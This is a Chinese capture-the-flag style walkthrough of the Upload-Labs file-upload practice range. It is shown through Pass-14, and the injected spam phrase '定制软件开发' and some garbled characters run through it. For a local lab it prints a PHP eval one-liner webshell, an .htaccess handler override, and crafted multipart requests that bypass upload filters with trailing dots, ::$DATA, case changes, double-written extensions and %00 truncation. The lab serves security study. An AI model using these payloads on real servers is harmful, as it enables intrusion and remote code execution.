定制软件开发Upload-Labs靶场 1-21全通关教程

Upload-Labs通关

靶场介绍

Upload-Labs定制软件开发是一个使用PHP语言编写、定制软件开发专注于定制软件开发文件上传漏洞的定制软件开发闯关式网络安全靶场。定制软件开发练习该靶场可以有效地定制软件开发了解并掌握文件上传漏洞的原理、定制软件开发利用方法和修复方案。

提醒:定制软件开发学习此靶场仅需要Firefox、BurpSuite和PHP定制软件开发基础知识即可,不会PHP定制软件开发的请先去看菜鸟教程。

安装

Upload-Labs定制软件开发安装建议环境如下:

  1. Windows定制软件开发定制软件开发用户建议使用PHPStudy,Linux用户建议使用XAMPP或Docker。下载地址:
    -
    -
  2. PHP定制软件开发版本建议使用5.2.17,否则部分Pass定制软件开发可能无法绕过。
  3. 定制软件开发需要开启以下PHP组件:php-gd2 php-exif
  4. Apache以moudel方式连接。
  5. 特别提醒:Pass-19在Linux上运行。
  6. 定制软件开发废话不多说,开整。

定制软件开发文件上传漏洞介绍

定制软件开发在练习靶场前介绍一下定制软件开发文件上传漏洞是有必要的。
文件上传漏洞,顾名思义,定制软件开发就是攻击者定制软件开发通过一些方法定制软件开发绕过了客户端验证(JavaScript前端验证,100%定制软件开发可以用中间人攻击绕过)定制软件开发和服务端验证(如后缀名、MIME类型验证)上传了定制软件开发非预期的脚本文件定制软件开发导致服务器被植入木马定制软件开发并获得了服务器的命令执行权限,定制软件开发一般为高危漏洞。

定制软件开发常见防御方法:

  1. 前端验证(防君子):定制软件开发在前端对文件后缀名进行过滤,最好定制软件开发只留下允许上传的文件后缀名,但攻击者(小人)定制软件开发可以轻松地绕过前端验证。
  2. 定制软件开发后端文件名验证:定制软件开发在后端对文件后缀名执行定制软件开发白名单校验,定制软件开发不在白名单内的禁止上传
  3. 定制软件开发文件头校验:定制软件开发查看文件头与后缀名是否匹配。
  4. 定制软件开发最重要的安全策略:定制软件开发将上传的文件放到另一定制软件开发个专用文件服务器中(类似于站库分离);定制软件开发如果没有专用文件服务器,就定制软件开发取消上传目录的执行权限;定制软件开发将上传文件进行重新命名,必要时定制软件开发不显示上传路径

BurpSuite的简单使用

BurpSuite是一款神仙般的用于攻击Web应用程序的集成平台,包含了许多工具。
常用模块:
1.Proxy(HTTP/HTTPS数据包拦截修改器)
2.Spider(网络爬虫)
3.Scanner(智能漏洞扫描器,仅限人民币玩家
4.Intruder(可定制工具,对Web应用执行自动化攻击)
5.Repeater(手动发送HTTP/HTTPS请求包)
6.Sequencer
7.Decoder(用于编/解码各种数据)
8.Comparer
下面只介绍本教程常用的Proxy模块

安装BurpSuite

BurpSuite使用Java语言开发,请下载安装Java运行环境(JRE)。

配合Firefox使用

1.双击启动BurpSuite。
2.依次点击“Next”和“Start Burp”按钮启动BurpSuite。
3.点击“Proxy”选项卡进入HTTP(S)包拦截界面。默认代理地址:127.0.0.1:8080,点击“Intercept is off”开始拦截,再点击一次关闭拦截。
4.在Firefox设置中查找“代理”,将代理服务器地址设置为127.0.0.1:8080,你也可以使用FoxyProxy插件便捷地设置代理。

万能WebShell

<?php @eval($_POST['cmd']); ?>	// PHP一句话,使用中国蚁剑连接 <?php phpinfo(); ?>	// 为方便观察,只显示PHP基本信息,无控制功能 
  • 1
  • 2

正文开始

Pass-01

任务:上传一个WebShell到服务器。
提示:本pass在客户端使用js对不合法图片进行检查!
源代码:

<script type="text/javascript">    function checkFile() {        var file = document.getElementsByName('upload_file')[0].value;        if (file == null || file == "") {            alert("请选择要上传的文件!");            return false;        }        //定义允许上传的文件类型        var allow_ext = ".jpg|.png|.gif";        //提取上传文件的类型        var ext_name = file.substring(file.lastIndexOf("."));        //判断上传文件类型是否允许上传        if (allow_ext.indexOf(ext_name) == -1) {            var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;            alert(errMsg);            return false;        }    }</script>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19

分析:使用JavaScript在客户端验证,直接禁用JavaScript即可。也可以将WebShell后缀名改为.jpg后使用BurpSuite拦截改包,将后缀名改为.php绕过。
防御方法:一定要加后端验证!!详细方法之后讨论。

Pass-02

任务:上传一个webshell到服务器。
提示:本pass在服务端对数据包的MIME进行检查!
源代码:

$is_upload = false;$msg = null;if (isset($_POST['submit'])) {    if (file_exists(UPLOAD_PATH)) {        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {            $temp_file = $_FILES['upload_file']['tmp_name'];            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']                        if (move_uploaded_file($temp_file, $img_path)) {                $is_upload = true;            } else {                $msg = '上传出错!';            }        } else {            $msg = '文件类型不正确,请重新上传!';        }    } else {        $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';    }}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19

分析:Pass-02的后端验证仅仅使用了MIME类型进行验证,这样是不安全的。我们仍然可以使用BurpSuite伪造MIME类型绕过验证。将Content-type改为image/png即可。
HTTP EXP:

Content-Disposition: form-data; name="upload_file"; filename="shell.php"Content-Type: image/png		// 将Content-type改为白名单中的类型即可<?php phpinfo(); ?>
  • 1
  • 2
  • 3
  • 4

成功上传

Pass-03

任务:上传一个WebShell到服务器。
提示:本pass禁止上传.asp|.aspx|.php|.jsp后缀文件!
源代码:

$is_upload = false;$msg = null;if (isset($_POST['submit'])) {    if (file_exists(UPLOAD_PATH)) {        $deny_ext = array('.asp','.aspx','.php','.jsp');        $file_name = trim($_FILES['upload_file']['name']);        $file_name = deldot($file_name);//删除文件名末尾的点        $file_ext = strrchr($file_name, '.');        $file_ext = strtolower($file_ext); //转换为小写        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA        $file_ext = trim($file_ext); //收尾去空        if(!in_array($file_ext, $deny_ext)) {            $temp_file = $_FILES['upload_file']['tmp_name'];            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;                        if (move_uploaded_file($temp_file,$img_path)) {                 $is_upload = true;            } else {                $msg = '上传出错!';            }        } else {            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';        }    } else {        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';    }}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27

分析:
Pass-03进行了如下防护操作:1.黑名单为.asp .aspx.php.jsp 2.删除文件名首尾空格 3.删除文件名末尾的点 4.将后缀名转为小写 5.去除::$DATA数据流标记 6.使用随机数重命名文件。但我们可以上传PHP文件的别名进行黑名单绕过

HTTP EXP:直接将shell.php改为shell.phtml或其他别名上传即可。

Pass-04

任务:上传一个WebShell到服务器。
提示:本pass禁止上传.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf后缀文件!
源代码:

$is_upload = false;$msg = null;if (isset($_POST['submit'])) {    if (file_exists(UPLOAD_PATH)) {        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");        $file_name = trim($_FILES['upload_file']['name']);        $file_name = deldot($file_name);//删除文件名末尾的点        $file_ext = strrchr($file_name, '.');        $file_ext = strtolower($file_ext); //转换为小写        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA        $file_ext = trim($file_ext); //收尾去空        if (!in_array($file_ext, $deny_ext)) {            $temp_file = $_FILES['upload_file']['tmp_name'];            $img_path = UPLOAD_PATH.'/'.$file_name;            if (move_uploaded_file($temp_file, $img_path)) {                $is_upload = true;            } else {                $msg = '上传出错!';            }        } else {            $msg = '此文件不允许上传!';        }    } else {        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';    }}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27

分析1:
Pass-04做了如下防护操作:1.黑名单包含了大多数脚本后缀名 2.删除文件名首尾空格 3.删除文件名末尾的点 4.将后缀名转为小写 5.去除::$DATA数据流标记。但代码中并没有通过循环判断上传的文件是否有多个后缀名,所以我们可以构造文件名使最后经过滤的文件后缀名仍为.php。
分析2:可以使用htaccess解析漏洞进行攻击。

<FilesMatch "shell.jpg">Sethandler application/x-httpd-php</FilesMatch>
  • 1
  • 2
  • 3

代码中未限制.htaccess文件上传,上传以上内容的.htaccess文件后会将shell.jpg当成PHP文件解析执行。

HTTP EXP1:将文件后缀名改为“点+空格+点”的格式,这样file_ext会变为空,成功绕过黑名单上传。Windows会自动删除文件名最后的点,最后变为shell.php。

Content-Disposition: form-data; name="upload_file"; filename="shell.php. ."
  • 1

HTTP EXP2:上传.htaccess文件和shell.jpg。

Pass-05

任务:上传一个WebShell到服务器。
提示:上传目录存在php文件(readme.php) // 其实感觉提示不看也没关系。。
源代码:

$is_upload = false;$msg = null;if (isset($_POST['submit'])) {    if (file_exists(UPLOAD_PATH)) {        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");        $file_name = trim($_FILES['upload_file']['name']);        $file_name = deldot($file_name);//删除文件名末尾的点        $file_ext = strrchr($file_name, '.');        $file_ext = strtolower($file_ext); //转换为小写        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA        $file_ext = trim($file_ext); //首尾去空                if (!in_array($file_ext, $deny_ext)) {            $temp_file = $_FILES['upload_file']['tmp_name'];            $img_path = UPLOAD_PATH.'/'.$file_name;            if (move_uploaded_file($temp_file, $img_path)) {                $is_upload = true;            } else {                $msg = '上传出错!';            }        } else {            $msg = '此文件类型不允许上传!';        }    } else {        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';    }}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27

分析:和Pass-04一样,代码中只过滤了一次点,删除了空格和::$DATA,将文件后缀改为小写,黑名单等,使用Pass-04的方法绕过即可。但黑名单中屏蔽了.htaccess文件。

HTTP EXP:文件名改为“shell.php. . ”。

Pass-06

任务:上传一个WebShell到服务器。
提示:本pass禁止上传.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf|.htaccess后缀文件!

源代码:

$is_upload = false;$msg = null;if (isset($_POST['submit'])) {    if (file_exists(UPLOAD_PATH)) {        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");        $file_name = trim($_FILES['upload_file']['name']);        $file_name = deldot($file_name);//删除文件名末尾的点        $file_ext = strrchr($file_name, '.');        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA        $file_ext = trim($file_ext); //首尾去空        if (!in_array($file_ext, $deny_ext)) {            $temp_file = $_FILES['upload_file']['tmp_name'];            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            if (move_uploaded_file($temp_file, $img_path)) {                $is_upload = true;            } else {                $msg = '上传出错!';            }        } else {            $msg = '此文件类型不允许上传!';        }    } else {        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';    }}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26

分析:代码中未用strtolower()把文件后缀名变为小写,使用大小写绕过。
HTTP EXP:文件名改为“shell.Php”。

Pass-07

任务:上传一个webshell到服务器。
提示:本pass禁止上传.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf后缀文件!
源代码:

$is_upload = false;$msg = null;if (isset($_POST['submit'])) {    if (file_exists(UPLOAD_PATH)) {        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");        $file_name = $_FILES['upload_file']['name'];        $file_name = deldot($file_name);//删除文件名末尾的点        $file_ext = strrchr($file_name, '.');        $file_ext = strtolower($file_ext); //转换为小写        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA                if (!in_array($file_ext, $deny_ext)) {            $temp_file = $_FILES['upload_file']['tmp_name'];            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            if (move_uploaded_file($temp_file,$img_path)) {                $is_upload = true;            } else {                $msg = '上传出错!';            }        } else {            $msg = '此文件不允许上传';        }    } else {        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';    }}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27

分析:代码中未用trim()去除首尾空格,截包时文件名后加空格绕过即可。
HTTP EXP:

Content-Disposition: form-data; name="upload_file"; filename="shell.php  "
  • 1

Pass-08

任务:上传一个webshell到服务器。
提示:本pass禁止上传所有可以解析的后缀!
源代码:

$is_upload = false;$msg = null;if (isset($_POST['submit'])) {    if (file_exists(UPLOAD_PATH)) {        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");        $file_name = trim($_FILES['upload_file']['name']);        $file_ext = strrchr($file_name, '.');        $file_ext = strtolower($file_ext); //转换为小写        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA        $file_ext = trim($file_ext); //首尾去空                if (!in_array($file_ext, $deny_ext)) {            $temp_file = $_FILES['upload_file']['tmp_name'];            $img_path = UPLOAD_PATH.'/'.$file_name;            if (move_uploaded_file($temp_file, $img_path)) {                $is_upload = true;            } else {                $msg = '上传出错!';            }        } else {            $msg = '此文件类型不允许上传!';        }    } else {        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';    }}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27

分析:代码中未用deldot()去除点,使用BurpSuite截包,文件名后加点绕过即可。
HTTP EXP:

Content-Disposition: form-data; name="upload_file"; filename="shell.php."
  • 1

Pass-09

任务:上传一个webshell到服务器。
提示:
本pass禁止上传.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf|.htaccess后缀文件!
源代码:

$is_upload = false;$msg = null;if (isset($_POST['submit'])) {    if (file_exists(UPLOAD_PATH)) {        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");        $file_name = trim($_FILES['upload_file']['name']);        $file_name = deldot($file_name);//删除文件名末尾的点        $file_ext = strrchr($file_name, '.');        $file_ext = strtolower($file_ext); //转换为小写        $file_ext = trim($file_ext); //首尾去空                if (!in_array($file_ext, $deny_ext)) {            $temp_file = $_FILES['upload_file']['tmp_name'];            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            if (move_uploaded_file($temp_file, $img_path)) {                $is_upload = true;            } else {                $msg = '上传出错!';            }        } else {            $msg = '此文件类型不允许上传!';        }    } else {        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';    }}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27

分析:代码中未用str_ireplace()过滤::$DATA数据流标记,在BurpSuite中加入::$DATA到文件名末尾即可。在访问时去掉URL中的::$DATA。
HTTP EXP:

Content-Disposition: form-data; name="upload_file"; filename="shell.php::$DATA"
  • 1

Pass-10

任务:上传一个webshell到服务器。
提示:本pass只允许上传.jpg|.png|.gif后缀的文件!
源代码:

$is_upload = false;$msg = null;if (isset($_POST['submit'])) {    if (file_exists(UPLOAD_PATH)) {        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");        $file_name = trim($_FILES['upload_file']['name']);        $file_name = deldot($file_name);//删除文件名末尾的点        $file_ext = strrchr($file_name, '.');        $file_ext = strtolower($file_ext); //转换为小写        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA        $file_ext = trim($file_ext); //首尾去空                if (!in_array($file_ext, $deny_ext)) {            $temp_file = $_FILES['upload_file']['tmp_name'];            $img_path = UPLOAD_PATH.'/'.$file_name;            if (move_uploaded_file($temp_file, $img_path)) {                $is_upload = true;            } else {                $msg = '上传出错!';            }        } else {            $msg = '此文件类型不允许上传!';        }    } else {        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';    }}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27

分析:只过滤了一次点,使用老方法“点+空格+点”过滤。保存路径没有经过处理。
HTTP EXP:使用BurpSuite将文件名改为“shell.php. .”。

Pass-11

任务:上传一个webshell到服务器。
提示:本pass会从文件名中去除.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf|.htaccess字符!
源代码:

$is_upload = false;$msg = null;if (isset($_POST['submit'])) {    if (file_exists(UPLOAD_PATH)) {        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");        $file_name = trim($_FILES['upload_file']['name']);        $file_name = str_ireplace($deny_ext,"", $file_name);        $temp_file = $_FILES['upload_file']['tmp_name'];        $img_path = UPLOAD_PATH.'/'.$file_name;                if (move_uploaded_file($temp_file, $img_path)) {            $is_upload = true;        } else {            $msg = '上传出错!';        }    } else {        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';    }}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19

分析:Pass-11的防护方法是将出现在黑名单中的后缀名替换成空白字符串,但无论文件名是否被匹配都会被上传。鉴于源代码中只过滤了一次,我们可以使用双写绕过方法上传(如:.jjspsp)。这样str_ireplace()函数会将字符串“jsp”替换为空白,但替换后剩下的字符串刚好为“.jsp”
HTTP EXP:文件名为“shell.pphphp”,直接上传即可。

Pass-12

任务:上传一个webshell到服务器。
提示:本pass上传路径可控!
源代码:

$is_upload = false;$msg = null;if(isset($_POST['submit'])){    $ext_arr = array('jpg','png','gif');    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);    if(in_array($file_ext,$ext_arr)){        $temp_file = $_FILES['upload_file']['tmp_name'];        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;        if(move_uploaded_file($temp_file,$img_path)){            $is_upload = true;        } else {            $msg = '上传出错!';        }    } else{        $msg = "只允许上传.jpg|.png|.gif类型文件!";    }}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19

分析:Pass-12首先提取了文件后缀名,只允许上传图片文件,但上传路径是可控的,所以我们可以使用%00截断漏洞将上传路径改为文件名。当使用了截断漏洞时,传入的文件名为shell.php%00shell.jpg,检测时发现后缀为.jpg,所以没有过滤;保存时由于使用了%00截断,%00后面的字符串不生效,所以最后保存的文件名是shell.php
注:过本Pass,PHP版本=5.2.17,php.ini中关闭magic_quotes_gpc选项
HTTP EXP:

POST /upload-labs/Pass-12/index.php?save_path=../upload/shell.php%00 HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateContent-Type: multipart/form-data; boundary=---------------------------376714466938258470403993828752Content-Length: 379Origin: http://127.0.0.1Connection: closeReferer: http://127.0.0.1/upload-labs/Pass-12/index.php?save_path=../upload/Upgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originSec-Fetch-User: ?1-----------------------------376714466938258470403993828752Content-Disposition: form-data; name="upload_file"; filename="shell.jpg"Content-Type: application/octet-stream<?php phpinfo(); ?>-----------------------------376714466938258470403993828752Content-Disposition: form-data; name="submit"涓婁紶-----------------------------376714466938258470403993828752--
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28

Pass-13

任务:上传一个webshell到服务器。
提示:本pass上传路径可控!(POST方法)
源代码:

$is_upload = false;$msg = null;if(isset($_POST['submit'])){    $ext_arr = array('jpg','png','gif');    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);    if(in_array($file_ext,$ext_arr)){        $temp_file = $_FILES['upload_file']['tmp_name'];        $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;        if(move_uploaded_file($temp_file,$img_path)){            $is_upload = true;        } else {            $msg = "上传失败";        }    } else {        $msg = "只允许上传.jpg|.png|.gif类型文件!";    }}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18

分析:本Pass考察基于POST方法的截断上传攻击。POST方法较为特殊,直接在明文中添加%00不会被服务器解码,我们需要修改HTTP包中上传路径对应的十六进制值(改为00)进行截断攻击,其原理与Pass-12相同。
HTTP EXP:
1.选择shell.php上传,打开BurpSuite截包。
2.包中部分信息修改如下:

-----------------------------311655423719671261693965722044Content-Disposition: form-data; name="save_path"../upload/shell.php.jpg-----------------------------311655423719671261693965722044Content-Disposition: form-data; name="upload_file"; filename="shell.jpg"Content-Type: application/octet-stream<?php phpinfo(); ?>-----------------------------311655423719671261693965722044Content-Disposition: form-data; name="submit"涓婁紶-----------------------------311655423719671261693965722044--
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15

3.点击Hex选项卡,找到“shell.php.jpg”这段字符串对应的十六进制数据,将61(a的十六进制ASCII码)前面的数值(对应空格)改为00。

4.放包上传。

Pass-14

任务:上传图片马到服务器。
注意:
1.保证上传后的图片马中仍然包含完整的一句话或webshell代码。
2.使用文件包含漏洞能运行图片马中的恶意代码。
3.图片马要.jpg,.png,.gif三种后缀都上传成功才算过关!
4.PHP版本>5.3。
5.必须在php.ini中开启allow_url_fopen选项。
提示:本pass检查图标内容开头2个字节!
源代码:

function getReailFileType($filename){    $file = fopen($filename, "rb");    $bin = fread($file, 2); //只读2字节    fclose($file);    $strInfo = @unpack("C2chars", $bin);        $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);        $fileType = '';        switch($typeCode){              case 255216:                        $fileType = 'jpg';            break;        case 13780:                        $fileType = 'png';            break;                case 7173:                        $fileType = 'gif';            break;        default:                        $fileType = 'unknown';        }            return $fileType;}$is_upload = false;$msg = null;if(isset($_POST['submit'])){    $temp_file = $_FILES['upload_file']['tmp_name'];    $file_type = getReailFileType($temp_file);    if($file_type == 'unknown'){        $msg = "文件未知,上传失败!";    }else{        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;        if(move_uploaded_file($temp_file,$img_path)){            $is_upload = true;        } else {            $msg = "上传出错!";        }    }}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
